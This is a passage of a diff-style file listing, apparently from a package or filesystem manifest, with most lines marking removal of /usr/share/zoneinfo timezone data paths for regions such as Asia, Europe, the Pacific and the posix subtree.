-./usr/share/zoneinfo/America/North_Dakota/Center
-./usr/share/zoneinfo/America/Panama
-./usr/share/zoneinfo/America/Pangnirtung
-./usr/share/zoneinfo/America/Paramaribo
-./usr/share/zoneinfo/America/Phoenix
-./usr/share/zoneinfo/America/Port-au-Prince
-./usr/share/zoneinfo/America/Port_of_Spain
-./usr/share/zoneinfo/America/Porto_Acre
-./usr/share/zoneinfo/America/Porto_Velho
-./usr/share/zoneinfo/America/Puerto_Rico
-./usr/share/zoneinfo/America/Rainy_River
-./usr/share/zoneinfo/America/Rankin_Inlet
-./usr/share/zoneinfo/America/Recife
-./usr/share/zoneinfo/America/Regina
-./usr/share/zoneinfo/America/Rio_Branco
-./usr/share/zoneinfo/America/Rosario
-./usr/share/zoneinfo/America/Santiago
-./usr/share/zoneinfo/America/Santo_Domingo
-./usr/share/zoneinfo/America/Sao_Paulo
-./usr/share/zoneinfo/America/Scoresbysund
-./usr/share/zoneinfo/America/Shiprock
-./usr/share/zoneinfo/America/St_Johns
-./usr/share/zoneinfo/America/St_Kitts
-./usr/share/zoneinfo/America/St_Lucia
-./usr/share/zoneinfo/America/St_Thomas
-./usr/share/zoneinfo/America/St_Vincent
-./usr/share/zoneinfo/America/Swift_Current
-./usr/share/zoneinfo/America/Tegucigalpa
-./usr/share/zoneinfo/America/Thule
-./usr/share/zoneinfo/America/Thunder_Bay
-./usr/share/zoneinfo/America/Tijuana
-./usr/share/zoneinfo/America/Tortola
-./usr/share/zoneinfo/America/Vancouver
-./usr/share/zoneinfo/America/Virgin
-./usr/share/zoneinfo/America/Whitehorse
-./usr/share/zoneinfo/America/Winnipeg
-./usr/share/zoneinfo/America/Yakutat
-./usr/share/zoneinfo/America/Yellowknife
-./usr/share/zoneinfo/Antarctica
-./usr/share/zoneinfo/Antarctica/Casey
-./usr/share/zoneinfo/Antarctica/Davis
-./usr/share/zoneinfo/Antarctica/DumontDUrville
-./usr/share/zoneinfo/Antarctica/Mawson
-./usr/share/zoneinfo/Antarctica/McMurdo
-./usr/share/zoneinfo/Antarctica/Palmer
-./usr/share/zoneinfo/Antarctica/South_Pole
-./usr/share/zoneinfo/Antarctica/Syowa
-./usr/share/zoneinfo/Antarctica/Vostok
-./usr/share/zoneinfo/Arctic
-./usr/share/zoneinfo/Arctic/Longyearbyen
-./usr/share/zoneinfo/Asia
-./usr/share/zoneinfo/Asia/Aden
-./usr/share/zoneinfo/Asia/Almaty
-./usr/share/zoneinfo/Asia/Amman
-./usr/share/zoneinfo/Asia/Anadyr
-./usr/share/zoneinfo/Asia/Aqtau
-./usr/share/zoneinfo/Asia/Aqtobe
-./usr/share/zoneinfo/Asia/Ashgabat
-./usr/share/zoneinfo/Asia/Ashkhabad
-./usr/share/zoneinfo/Asia/Baghdad
-./usr/share/zoneinfo/Asia/Bahrain
-./usr/share/zoneinfo/Asia/Baku
-./usr/share/zoneinfo/Asia/Bangkok
-./usr/share/zoneinfo/Asia/Beirut
-./usr/share/zoneinfo/Asia/Bishkek
-./usr/share/zoneinfo/Asia/Brunei
-./usr/share/zoneinfo/Asia/Calcutta
-./usr/share/zoneinfo/Asia/Choibalsan
-./usr/share/zoneinfo/Asia/Chongqing
-./usr/share/zoneinfo/Asia/Chungking
-./usr/share/zoneinfo/Asia/Colombo
-./usr/share/zoneinfo/Asia/Dacca
-./usr/share/zoneinfo/Asia/Damascus
-./usr/share/zoneinfo/Asia/Dhaka
-./usr/share/zoneinfo/Asia/Dili
-./usr/share/zoneinfo/Asia/Dubai
-./usr/share/zoneinfo/Asia/Dushanbe
-./usr/share/zoneinfo/Asia/Gaza
-./usr/share/zoneinfo/Asia/Harbin
-./usr/share/zoneinfo/Asia/Hong_Kong
-./usr/share/zoneinfo/Asia/Hovd
-./usr/share/zoneinfo/Asia/Irkutsk
-./usr/share/zoneinfo/Asia/Istanbul
-./usr/share/zoneinfo/Asia/Jakarta
-./usr/share/zoneinfo/Asia/Jayapura
-./usr/share/zoneinfo/Asia/Jerusalem
-./usr/share/zoneinfo/Asia/Kabul
-./usr/share/zoneinfo/Asia/Kamchatka
-./usr/share/zoneinfo/Asia/Karachi
-./usr/share/zoneinfo/Asia/Kashgar
-./usr/share/zoneinfo/Asia/Katmandu
-./usr/share/zoneinfo/Asia/Krasnoyarsk
-./usr/share/zoneinfo/Asia/Kuala_Lumpur
-./usr/share/zoneinfo/Asia/Kuching
-./usr/share/zoneinfo/Asia/Kuwait
-./usr/share/zoneinfo/Asia/Macao
-./usr/share/zoneinfo/Asia/Macau
-./usr/share/zoneinfo/Asia/Magadan
-./usr/share/zoneinfo/Asia/Makassar
-./usr/share/zoneinfo/Asia/Manila
-./usr/share/zoneinfo/Asia/Muscat
-./usr/share/zoneinfo/Asia/Nicosia
-./usr/share/zoneinfo/Asia/Novosibirsk
-./usr/share/zoneinfo/Asia/Omsk
-./usr/share/zoneinfo/Asia/Oral
-./usr/share/zoneinfo/Asia/Phnom_Penh
-./usr/share/zoneinfo/Asia/Pontianak
-./usr/share/zoneinfo/Asia/Pyongyang
-./usr/share/zoneinfo/Asia/Qatar
-./usr/share/zoneinfo/Asia/Qyzylorda
-./usr/share/zoneinfo/Asia/Rangoon
-./usr/share/zoneinfo/Asia/Riyadh
-./usr/share/zoneinfo/Asia/Riyadh87
-./usr/share/zoneinfo/Asia/Riyadh88
-./usr/share/zoneinfo/Asia/Riyadh89
-./usr/share/zoneinfo/Asia/Saigon
-./usr/share/zoneinfo/Asia/Sakhalin
-./usr/share/zoneinfo/Asia/Samarkand
-./usr/share/zoneinfo/Asia/Seoul
-./usr/share/zoneinfo/Asia/Shanghai
-./usr/share/zoneinfo/Asia/Singapore
-./usr/share/zoneinfo/Asia/Taipei
-./usr/share/zoneinfo/Asia/Tashkent
-./usr/share/zoneinfo/Asia/Tbilisi
-./usr/share/zoneinfo/Asia/Tehran
-./usr/share/zoneinfo/Asia/Tel_Aviv
-./usr/share/zoneinfo/Asia/Thimbu
-./usr/share/zoneinfo/Asia/Thimphu
-./usr/share/zoneinfo/Asia/Tokyo
-./usr/share/zoneinfo/Asia/Ujung_Pandang
-./usr/share/zoneinfo/Asia/Ulaanbaatar
-./usr/share/zoneinfo/Asia/Ulan_Bator
-./usr/share/zoneinfo/Asia/Urumqi
-./usr/share/zoneinfo/Asia/Vientiane
-./usr/share/zoneinfo/Asia/Vladivostok
-./usr/share/zoneinfo/Asia/Yakutsk
-./usr/share/zoneinfo/Asia/Yekaterinburg
-./usr/share/zoneinfo/Asia/Yerevan
-./usr/share/zoneinfo/Atlantic
-./usr/share/zoneinfo/Atlantic/Azores
-./usr/share/zoneinfo/Atlantic/Bermuda
-./usr/share/zoneinfo/Atlantic/Canary
-./usr/share/zoneinfo/Atlantic/Cape_Verde
-./usr/share/zoneinfo/Atlantic/Faeroe
-./usr/share/zoneinfo/Atlantic/Jan_Mayen
-./usr/share/zoneinfo/Atlantic/Madeira
-./usr/share/zoneinfo/Atlantic/Reykjavik
-./usr/share/zoneinfo/Atlantic/South_Georgia
-./usr/share/zoneinfo/Atlantic/St_Helena
-./usr/share/zoneinfo/Atlantic/Stanley
-./usr/share/zoneinfo/Australia
-./usr/share/zoneinfo/Australia/ACT
-./usr/share/zoneinfo/Australia/Adelaide
-./usr/share/zoneinfo/Australia/Brisbane
-./usr/share/zoneinfo/Australia/Broken_Hill
-./usr/share/zoneinfo/Australia/Canberra
-./usr/share/zoneinfo/Australia/Darwin
-./usr/share/zoneinfo/Australia/Hobart
-./usr/share/zoneinfo/Australia/LHI
-./usr/share/zoneinfo/Australia/Lindeman
-./usr/share/zoneinfo/Australia/Lord_Howe
-./usr/share/zoneinfo/Australia/Melbourne
-./usr/share/zoneinfo/Australia/NSW
-./usr/share/zoneinfo/Australia/North
-./usr/share/zoneinfo/Australia/Perth
-./usr/share/zoneinfo/Australia/Queensland
-./usr/share/zoneinfo/Australia/South
-./usr/share/zoneinfo/Australia/Sydney
-./usr/share/zoneinfo/Australia/Tasmania
-./usr/share/zoneinfo/Australia/Victoria
-./usr/share/zoneinfo/Australia/West
-./usr/share/zoneinfo/Australia/Yancowinna
-./usr/share/zoneinfo/Brazil
-./usr/share/zoneinfo/Brazil/Acre
-./usr/share/zoneinfo/Brazil/DeNoronha
-./usr/share/zoneinfo/Brazil/East
-./usr/share/zoneinfo/Brazil/West
-./usr/share/zoneinfo/CET
-./usr/share/zoneinfo/CST6CDT
-./usr/share/zoneinfo/Canada
-./usr/share/zoneinfo/Canada/Atlantic
-./usr/share/zoneinfo/Canada/Central
-./usr/share/zoneinfo/Canada/East-Saskatchewan
-./usr/share/zoneinfo/Canada/Eastern
-./usr/share/zoneinfo/Canada/Mountain
-./usr/share/zoneinfo/Canada/Newfoundland
-./usr/share/zoneinfo/Canada/Pacific
-./usr/share/zoneinfo/Canada/Saskatchewan
-./usr/share/zoneinfo/Canada/Yukon
-./usr/share/zoneinfo/Chile
-./usr/share/zoneinfo/Chile/Continental
-./usr/share/zoneinfo/Chile/EasterIsland
-./usr/share/zoneinfo/Cuba
-./usr/share/zoneinfo/EET
-./usr/share/zoneinfo/EST
-./usr/share/zoneinfo/EST5EDT
-./usr/share/zoneinfo/Egypt
-./usr/share/zoneinfo/Eire
 ./usr/share/zoneinfo/Etc
-./usr/share/zoneinfo/Etc/GMT
-./usr/share/zoneinfo/Etc/GMT+0
-./usr/share/zoneinfo/Etc/GMT+1
-./usr/share/zoneinfo/Etc/GMT+10
-./usr/share/zoneinfo/Etc/GMT+11
-./usr/share/zoneinfo/Etc/GMT+12
-./usr/share/zoneinfo/Etc/GMT+2
-./usr/share/zoneinfo/Etc/GMT+3
-./usr/share/zoneinfo/Etc/GMT+4
-./usr/share/zoneinfo/Etc/GMT+5
-./usr/share/zoneinfo/Etc/GMT+6
-./usr/share/zoneinfo/Etc/GMT+7
-./usr/share/zoneinfo/Etc/GMT+8
-./usr/share/zoneinfo/Etc/GMT+9
-./usr/share/zoneinfo/Etc/GMT-0
-./usr/share/zoneinfo/Etc/GMT-1
-./usr/share/zoneinfo/Etc/GMT-10
-./usr/share/zoneinfo/Etc/GMT-11
-./usr/share/zoneinfo/Etc/GMT-12
-./usr/share/zoneinfo/Etc/GMT-13
-./usr/share/zoneinfo/Etc/GMT-14
-./usr/share/zoneinfo/Etc/GMT-2
-./usr/share/zoneinfo/Etc/GMT-3
-./usr/share/zoneinfo/Etc/GMT-4
-./usr/share/zoneinfo/Etc/GMT-5
-./usr/share/zoneinfo/Etc/GMT-6
-./usr/share/zoneinfo/Etc/GMT-7
-./usr/share/zoneinfo/Etc/GMT-8
-./usr/share/zoneinfo/Etc/GMT-9
-./usr/share/zoneinfo/Etc/GMT0
-./usr/share/zoneinfo/Etc/Greenwich
-./usr/share/zoneinfo/Etc/UCT
-./usr/share/zoneinfo/Etc/UTC
-./usr/share/zoneinfo/Etc/Universal
-./usr/share/zoneinfo/Etc/Zulu
-./usr/share/zoneinfo/Europe
-./usr/share/zoneinfo/Europe/Amsterdam
-./usr/share/zoneinfo/Europe/Andorra
-./usr/share/zoneinfo/Europe/Athens
-./usr/share/zoneinfo/Europe/Belfast
-./usr/share/zoneinfo/Europe/Belgrade
-./usr/share/zoneinfo/Europe/Berlin
-./usr/share/zoneinfo/Europe/Bratislava
-./usr/share/zoneinfo/Europe/Brussels
-./usr/share/zoneinfo/Europe/Bucharest
-./usr/share/zoneinfo/Europe/Budapest
-./usr/share/zoneinfo/Europe/Chisinau
-./usr/share/zoneinfo/Europe/Copenhagen
-./usr/share/zoneinfo/Europe/Dublin
-./usr/share/zoneinfo/Europe/Gibraltar
-./usr/share/zoneinfo/Europe/Helsinki
-./usr/share/zoneinfo/Europe/Istanbul
-./usr/share/zoneinfo/Europe/Kaliningrad
-./usr/share/zoneinfo/Europe/Kiev
-./usr/share/zoneinfo/Europe/Lisbon
-./usr/share/zoneinfo/Europe/Ljubljana
-./usr/share/zoneinfo/Europe/London
-./usr/share/zoneinfo/Europe/Luxembourg
-./usr/share/zoneinfo/Europe/Madrid
-./usr/share/zoneinfo/Europe/Malta
-./usr/share/zoneinfo/Europe/Minsk
-./usr/share/zoneinfo/Europe/Monaco
-./usr/share/zoneinfo/Europe/Moscow
-./usr/share/zoneinfo/Europe/Nicosia
-./usr/share/zoneinfo/Europe/Oslo
-./usr/share/zoneinfo/Europe/Paris
-./usr/share/zoneinfo/Europe/Prague
-./usr/share/zoneinfo/Europe/Riga
-./usr/share/zoneinfo/Europe/Rome
-./usr/share/zoneinfo/Europe/Samara
-./usr/share/zoneinfo/Europe/San_Marino
-./usr/share/zoneinfo/Europe/Sarajevo
-./usr/share/zoneinfo/Europe/Simferopol
-./usr/share/zoneinfo/Europe/Skopje
-./usr/share/zoneinfo/Europe/Sofia
-./usr/share/zoneinfo/Europe/Stockholm
-./usr/share/zoneinfo/Europe/Tallinn
-./usr/share/zoneinfo/Europe/Tirane
-./usr/share/zoneinfo/Europe/Tiraspol
-./usr/share/zoneinfo/Europe/Uzhgorod
-./usr/share/zoneinfo/Europe/Vaduz
-./usr/share/zoneinfo/Europe/Vatican
-./usr/share/zoneinfo/Europe/Vienna
-./usr/share/zoneinfo/Europe/Vilnius
-./usr/share/zoneinfo/Europe/Warsaw
-./usr/share/zoneinfo/Europe/Zagreb
-./usr/share/zoneinfo/Europe/Zaporozhye
-./usr/share/zoneinfo/Europe/Zurich
 ./usr/share/zoneinfo/Factory
-./usr/share/zoneinfo/GB
-./usr/share/zoneinfo/GB-Eire
 ./usr/share/zoneinfo/GMT
-./usr/share/zoneinfo/GMT+0
-./usr/share/zoneinfo/GMT-0
-./usr/share/zoneinfo/GMT0
-./usr/share/zoneinfo/Greenwich
-./usr/share/zoneinfo/HST
-./usr/share/zoneinfo/Hongkong
-./usr/share/zoneinfo/Iceland
-./usr/share/zoneinfo/Indian
-./usr/share/zoneinfo/Indian/Antananarivo
-./usr/share/zoneinfo/Indian/Chagos
-./usr/share/zoneinfo/Indian/Christmas
-./usr/share/zoneinfo/Indian/Cocos
-./usr/share/zoneinfo/Indian/Comoro
-./usr/share/zoneinfo/Indian/Kerguelen
-./usr/share/zoneinfo/Indian/Mahe
-./usr/share/zoneinfo/Indian/Maldives
-./usr/share/zoneinfo/Indian/Mauritius
-./usr/share/zoneinfo/Indian/Mayotte
-./usr/share/zoneinfo/Indian/Reunion
-./usr/share/zoneinfo/Iran
-./usr/share/zoneinfo/Israel
-./usr/share/zoneinfo/Jamaica
-./usr/share/zoneinfo/Japan
-./usr/share/zoneinfo/Kwajalein
-./usr/share/zoneinfo/Libya
-./usr/share/zoneinfo/MET
-./usr/share/zoneinfo/MST
-./usr/share/zoneinfo/MST7MDT
-./usr/share/zoneinfo/Mexico
-./usr/share/zoneinfo/Mexico/BajaNorte
-./usr/share/zoneinfo/Mexico/BajaSur
-./usr/share/zoneinfo/Mexico/General
-./usr/share/zoneinfo/Mideast
-./usr/share/zoneinfo/Mideast/Riyadh87
-./usr/share/zoneinfo/Mideast/Riyadh88
-./usr/share/zoneinfo/Mideast/Riyadh89
-./usr/share/zoneinfo/NZ
-./usr/share/zoneinfo/NZ-CHAT
-./usr/share/zoneinfo/Navajo
-./usr/share/zoneinfo/PRC
-./usr/share/zoneinfo/PST8PDT
-./usr/share/zoneinfo/Pacific
-./usr/share/zoneinfo/Pacific/Apia
-./usr/share/zoneinfo/Pacific/Auckland
-./usr/share/zoneinfo/Pacific/Chatham
-./usr/share/zoneinfo/Pacific/Easter
-./usr/share/zoneinfo/Pacific/Efate
-./usr/share/zoneinfo/Pacific/Enderbury
-./usr/share/zoneinfo/Pacific/Fakaofo
-./usr/share/zoneinfo/Pacific/Fiji
-./usr/share/zoneinfo/Pacific/Funafuti
-./usr/share/zoneinfo/Pacific/Galapagos
-./usr/share/zoneinfo/Pacific/Gambier
-./usr/share/zoneinfo/Pacific/Guadalcanal
-./usr/share/zoneinfo/Pacific/Guam
-./usr/share/zoneinfo/Pacific/Honolulu
-./usr/share/zoneinfo/Pacific/Johnston
-./usr/share/zoneinfo/Pacific/Kiritimati
-./usr/share/zoneinfo/Pacific/Kosrae
-./usr/share/zoneinfo/Pacific/Kwajalein
-./usr/share/zoneinfo/Pacific/Majuro
-./usr/share/zoneinfo/Pacific/Marquesas
-./usr/share/zoneinfo/Pacific/Midway
-./usr/share/zoneinfo/Pacific/Nauru
-./usr/share/zoneinfo/Pacific/Niue
-./usr/share/zoneinfo/Pacific/Norfolk
-./usr/share/zoneinfo/Pacific/Noumea
-./usr/share/zoneinfo/Pacific/Pago_Pago
-./usr/share/zoneinfo/Pacific/Palau
-./usr/share/zoneinfo/Pacific/Pitcairn
-./usr/share/zoneinfo/Pacific/Ponape
-./usr/share/zoneinfo/Pacific/Port_Moresby
-./usr/share/zoneinfo/Pacific/Rarotonga
-./usr/share/zoneinfo/Pacific/Saipan
-./usr/share/zoneinfo/Pacific/Samoa
-./usr/share/zoneinfo/Pacific/Tahiti
-./usr/share/zoneinfo/Pacific/Tarawa
-./usr/share/zoneinfo/Pacific/Tongatapu
-./usr/share/zoneinfo/Pacific/Truk
-./usr/share/zoneinfo/Pacific/Wake
-./usr/share/zoneinfo/Pacific/Wallis
-./usr/share/zoneinfo/Pacific/Yap
-./usr/share/zoneinfo/Poland
-./usr/share/zoneinfo/Portugal
-./usr/share/zoneinfo/ROC
-./usr/share/zoneinfo/ROK
-./usr/share/zoneinfo/Singapore
 ./usr/share/zoneinfo/SystemV
-./usr/share/zoneinfo/SystemV/AST4
-./usr/share/zoneinfo/SystemV/AST4ADT
-./usr/share/zoneinfo/SystemV/CST6
-./usr/share/zoneinfo/SystemV/CST6CDT
-./usr/share/zoneinfo/SystemV/EST5
-./usr/share/zoneinfo/SystemV/EST5EDT
-./usr/share/zoneinfo/SystemV/HST10
-./usr/share/zoneinfo/SystemV/MST7
-./usr/share/zoneinfo/SystemV/MST7MDT
-./usr/share/zoneinfo/SystemV/PST8
-./usr/share/zoneinfo/SystemV/PST8PDT
-./usr/share/zoneinfo/SystemV/YST9
-./usr/share/zoneinfo/SystemV/YST9YDT
-./usr/share/zoneinfo/Turkey
-./usr/share/zoneinfo/UCT
-./usr/share/zoneinfo/US
-./usr/share/zoneinfo/US/Alaska
-./usr/share/zoneinfo/US/Aleutian
-./usr/share/zoneinfo/US/Arizona
-./usr/share/zoneinfo/US/Central
-./usr/share/zoneinfo/US/East-Indiana
-./usr/share/zoneinfo/US/Eastern
-./usr/share/zoneinfo/US/Hawaii
-./usr/share/zoneinfo/US/Indiana-Starke
-./usr/share/zoneinfo/US/Michigan
-./usr/share/zoneinfo/US/Mountain
-./usr/share/zoneinfo/US/Pacific
-./usr/share/zoneinfo/US/Pacific-New
-./usr/share/zoneinfo/US/Samoa
 ./usr/share/zoneinfo/UTC
-./usr/share/zoneinfo/Universal
-./usr/share/zoneinfo/W-SU
-./usr/share/zoneinfo/WET
-./usr/share/zoneinfo/Zulu
-./usr/share/zoneinfo/posix
-./usr/share/zoneinfo/posix/Africa
-./usr/share/zoneinfo/posix/Africa/Abidjan
-./usr/share/zoneinfo/posix/Africa/Accra
-./usr/share/zoneinfo/posix/Africa/Addis_Ababa
-./usr/share/zoneinfo/posix/Africa/Algiers
-./usr/share/zoneinfo/posix/Africa/Asmera
-./usr/share/zoneinfo/posix/Africa/Bamako
-./usr/share/zoneinfo/posix/Africa/Bangui
-./usr/share/zoneinfo/posix/Africa/Banjul
-./usr/share/zoneinfo/posix/Africa/Bissau
-./usr/share/zoneinfo/posix/Africa/Blantyre
-./usr/share/zoneinfo/posix/Africa/Brazzaville
-./usr/share/zoneinfo/posix/Africa/Bujumbura
-./usr/share/zoneinfo/posix/Africa/Cairo
-./usr/share/zoneinfo/posix/Africa/Casablanca
-./usr/share/zoneinfo/posix/Africa/Ceuta
-./usr/share/zoneinfo/posix/Africa/Conakry
-./usr/share/zoneinfo/posix/Africa/Dakar
-./usr/share/zoneinfo/posix/Africa/Dar_es_Salaam
-./usr/share/zoneinfo/posix/Africa/Djibouti
-./usr/share/zoneinfo/posix/Africa/Douala
-./usr/share/zoneinfo/posix/Africa/El_Aaiun
-./usr/share/zoneinfo/posix/Africa/Freetown
-./usr/share/zoneinfo/posix/Africa/Gaborone
-./usr/share/zoneinfo/posix/Africa/Harare
-./usr/share/zoneinfo/posix/Africa/Johannesburg
-./usr/share/zoneinfo/posix/Africa/Kampala
-./usr/share/zoneinfo/posix/Africa/Khartoum
-./usr/share/zoneinfo/posix/Africa/Kigali
-./usr/share/zoneinfo/posix/Africa/Kinshasa
-./usr/share/zoneinfo/posix/Africa/Lagos
-./usr/share/zoneinfo/posix/Africa/Libreville
-./usr/share/zoneinfo/posix/Africa/Lome
-./usr/share/zoneinfo/posix/Africa/Luanda
-./usr/share/zoneinfo/posix/Africa/Lubumbashi
-./usr/share/zoneinfo/posix/Africa/Lusaka
-./usr/share/zoneinfo/posix/Africa/Malabo
-./usr/share/zoneinfo/posix/Africa/Maputo
-./usr/share/zoneinfo/posix/Africa/Maseru
-./usr/share/zoneinfo/posix/Africa/Mbabane
-./usr/share/zoneinfo/posix/Africa/Mogadishu
-./usr/share/zoneinfo/posix/Africa/Monrovia
-./usr/share/zoneinfo/posix/Africa/Nairobi
-./usr/share/zoneinfo/posix/Africa/Ndjamena
-./usr/share/zoneinfo/posix/Africa/Niamey
-./usr/share/zoneinfo/posix/Africa/Nouakchott
-./usr/share/zoneinfo/posix/Africa/Ouagadougou
-./usr/share/zoneinfo/posix/Africa/Porto-Novo
-./usr/share/zoneinfo/posix/Africa/Sao_Tome
-./usr/share/zoneinfo/posix/Africa/Timbuktu
-./usr/share/zoneinfo/posix/Africa/Tripoli
-./usr/share/zoneinfo/posix/Africa/Tunis
-./usr/share/zoneinfo/posix/Africa/Windhoek
-./usr/share/zoneinfo/posix/America
-./usr/share/zoneinfo/posix/America/Adak
-./usr/share/zoneinfo/posix/America/Anchorage
-./usr/share/zoneinfo/posix/America/Anguilla
-./usr/share/zoneinfo/posix/America/Antigua
-./usr/share/zoneinfo/posix/America/Araguaina
-./usr/share/zoneinfo/posix/America/Aruba
-./usr/share/zoneinfo/posix/America/Asuncion
-./usr/share/zoneinfo/posix/America/Atka
-./usr/share/zoneinfo/posix/America/Barbados
-./usr/share/zoneinfo/posix/America/Belem
-./usr/share/zoneinfo/posix/America/Belize
-./usr/share/zoneinfo/posix/America/Boa_Vista
-./usr/share/zoneinfo/posix/America/Bogota
-./usr/share/zoneinfo/posix/America/Boise
-./usr/share/zoneinfo/posix/America/Buenos_Aires
-./usr/share/zoneinfo/posix/America/Cambridge_Bay
-./usr/share/zoneinfo/posix/America/Cancun
-./usr/share/zoneinfo/posix/America/Caracas
-./usr/share/zoneinfo/posix/America/Catamarca
-./usr/share/zoneinfo/posix/America/Cayenne
-./usr/share/zoneinfo/posix/America/Cayman
-./usr/share/zoneinfo/posix/America/Chicago
-./usr/share/zoneinfo/posix/America/Chihuahua
-./usr/share/zoneinfo/posix/America/Cordoba
-./usr/share/zoneinfo/posix/America/Costa_Rica
-./usr/share/zoneinfo/posix/America/Cuiaba
-./usr/share/zoneinfo/posix/America/Curacao
-./usr/share/zoneinfo/posix/America/Danmarkshavn
-./usr/share/zoneinfo/posix/America/Dawson
-./usr/share/zoneinfo/posix/America/Dawson_Creek
-./usr/share/zoneinfo/posix/America/Denver
-./usr/share/zoneinfo/posix/America/Detroit
-./usr/share/zoneinfo/posix/America/Dominica
-./usr/share/zoneinfo/posix/America/Edmonton
-./usr/share/zoneinfo/posix/America/Eirunepe
-./usr/share/zoneinfo/posix/America/El_Salvador
-./usr/share/zoneinfo/posix/America/Ensenada
-./usr/share/zoneinfo/posix/America/Fort_Wayne
-./usr/share/zoneinfo/posix/America/Fortaleza
-./usr/share/zoneinfo/posix/America/Glace_Bay
-./usr/share/zoneinfo/posix/America/Godthab
-./usr/share/zoneinfo/posix/America/Goose_Bay
-./usr/share/zoneinfo/posix/America/Grand_Turk
-./usr/share/zoneinfo/posix/America/Grenada
-./usr/share/zoneinfo/posix/America/Guadeloupe
-./usr/share/zoneinfo/posix/America/Guatemala
-./usr/share/zoneinfo/posix/America/Guayaquil
-./usr/share/zoneinfo/posix/America/Guyana
-./usr/share/zoneinfo/posix/America/Halifax
-./usr/share/zoneinfo/posix/America/Havana
-./usr/share/zoneinfo/posix/America/Hermosillo
-./usr/share/zoneinfo/posix/America/Indiana
-./usr/share/zoneinfo/posix/America/Indiana/Indianapolis
-./usr/share/zoneinfo/posix/America/Indiana/Knox
-./usr/share/zoneinfo/posix/America/Indiana/Marengo
-./usr/share/zoneinfo/posix/America/Indiana/Vevay
-./usr/share/zoneinfo/posix/America/Indianapolis
-./usr/share/zoneinfo/posix/America/Inuvik
-./usr/share/zoneinfo/posix/America/Iqaluit
-./usr/share/zoneinfo/posix/America/Jamaica
-./usr/share/zoneinfo/posix/America/Jujuy
-./usr/share/zoneinfo/posix/America/Juneau
-./usr/share/zoneinfo/posix/America/Kentucky
-./usr/share/zoneinfo/posix/America/Kentucky/Louisville
-./usr/share/zoneinfo/posix/America/Kentucky/Monticello
-./usr/share/zoneinfo/posix/America/Knox_IN
-./usr/share/zoneinfo/posix/America/La_Paz
-./usr/share/zoneinfo/posix/America/Lima
-./usr/share/zoneinfo/posix/America/Los_Angeles
-./usr/share/zoneinfo/posix/America/Louisville
-./usr/share/zoneinfo/posix/America/Maceio
-./usr/share/zoneinfo/posix/America/Managua
-./usr/share/zoneinfo/posix/America/Manaus
-./usr/share/zoneinfo/posix/America/Martinique
-./usr/share/zoneinfo/posix/America/Mazatlan
-./usr/share/zoneinfo/posix/America/Mendoza
-./usr/share/zoneinfo/posix/America/Menominee
-./usr/share/zoneinfo/posix/America/Merida
-./usr/share/zoneinfo/posix/America/Mexico_City
-./usr/share/zoneinfo/posix/America/Miquelon
-./usr/share/zoneinfo/posix/America/Monterrey
-./usr/share/zoneinfo/posix/America/Montevideo
-./usr/share/zoneinfo/posix/America/Montreal
-./usr/share/zoneinfo/posix/America/Montserrat
-./usr/share/zoneinfo/posix/America/Nassau
-./usr/share/zoneinfo/posix/America/New_York
-./usr/share/zoneinfo/posix/America/Nipigon
-./usr/share/zoneinfo/posix/America/Nome
-./usr/share/zoneinfo/posix/America/Noronha
-./usr/share/zoneinfo/posix/America/North_Dakota
-./usr/share/zoneinfo/posix/America/North_Dakota/Center
-./usr/share/zoneinfo/posix/America/Panama
-./usr/share/zoneinfo/posix/America/Pangnirtung
-./usr/share/zoneinfo/posix/America/Paramaribo
-./usr/share/zoneinfo/posix/America/Phoenix
-./usr/share/zoneinfo/posix/America/Port-au-Prince
-./usr/share/zoneinfo/posix/America/Port_of_Spain
-./usr/share/zoneinfo/posix/America/Porto_Acre
-./usr/share/zoneinfo/posix/America/Porto_Velho
-./usr/share/zoneinfo/posix/America/Puerto_Rico
-./usr/share/zoneinfo/posix/America/Rainy_River
-./usr/share/zoneinfo/posix/America/Rankin_Inlet
-./usr/share/zoneinfo/posix/America/Recife
-./usr/share/zoneinfo/posix/America/Regina
-./usr/share/zoneinfo/posix/America/Rio_Branco
-./usr/share/zoneinfo/posix/America/Rosario
-./usr/share/zoneinfo/posix/America/Santiago
-./usr/share/zoneinfo/posix/America/Santo_Domingo
-./usr/share/zoneinfo/posix/America/Sao_Paulo
-./usr/share/zoneinfo/posix/America/Scoresbysund
-./usr/share/zoneinfo/posix/America/Shiprock
-./usr/share/zoneinfo/posix/America/St_Johns
-./usr/share/zoneinfo/posix/America/St_Kitts
-./usr/share/zoneinfo/posix/America/St_Lucia
-./usr/share/zoneinfo/posix/America/St_Thomas
-./usr/share/zoneinfo/posix/America/St_Vincent
-./usr/share/zoneinfo/posix/America/Swift_Current
-./usr/share/zoneinfo/posix/America/Tegucigalpa
-./usr/share/zoneinfo/posix/America/Thule
-./usr/share/zoneinfo/posix/America/Thunder_Bay
-./usr/share/zoneinfo/posix/America/Tijuana
-./usr/share/zoneinfo/posix/America/Tortola
-./usr/share/zoneinfo/posix/America/Vancouver
-./usr/share/zoneinfo/posix/America/Virgin
-./usr/share/zoneinfo/posix/America/Whitehorse
-./usr/share/zoneinfo/posix/America/Winnipeg
-./usr/share/zoneinfo/posix/America/Yakutat
-./usr/share/zoneinfo/posix/America/Yellowknife
-./usr/share/zoneinfo/posix/Antarctica
-./usr/share/zoneinfo/posix/Antarctica/Casey
-./usr/share/zoneinfo/posix/Antarctica/Davis
-./usr/share/zoneinfo/posix/Antarctica/DumontDUrville
-./usr/share/zoneinfo/posix/Antarctica/Mawson
-./usr/share/zoneinfo/posix/Antarctica/McMurdo
-./usr/share/zoneinfo/posix/Antarctica/Palmer
-./usr/share/zoneinfo/posix/Antarctica/South_Pole
-./usr/share/zoneinfo/posix/Antarctica/Syowa
-./usr/share/zoneinfo/posix/Antarctica/Vostok
-./usr/share/zoneinfo/posix/Arctic
-./usr/share/zoneinfo/posix/Arctic/Longyearbyen
-./usr/share/zoneinfo/posix/Asia
-./usr/share/zoneinfo/posix/Asia/Aden
-./usr/share/zoneinfo/posix/Asia/Almaty
-./usr/share/zoneinfo/posix/Asia/Amman
-./usr/share/zoneinfo/posix/Asia/Anadyr
-./usr/share/zoneinfo/posix/Asia/Aqtau
-./usr/share/zoneinfo/posix/Asia/Aqtobe
-./usr/share/zoneinfo/posix/Asia/Ashgabat
-./usr/share/zoneinfo/posix/Asia/Ashkhabad
-./usr/share/zoneinfo/posix/Asia/Baghdad
-./usr/share/zoneinfo/posix/Asia/Bahrain
-./usr/share/zoneinfo/posix/Asia/Baku
-./usr/share/zoneinfo/posix/Asia/Bangkok
-./usr/share/zoneinfo/posix/Asia/Beirut
-./usr/share/zoneinfo/posix/Asia/Bishkek
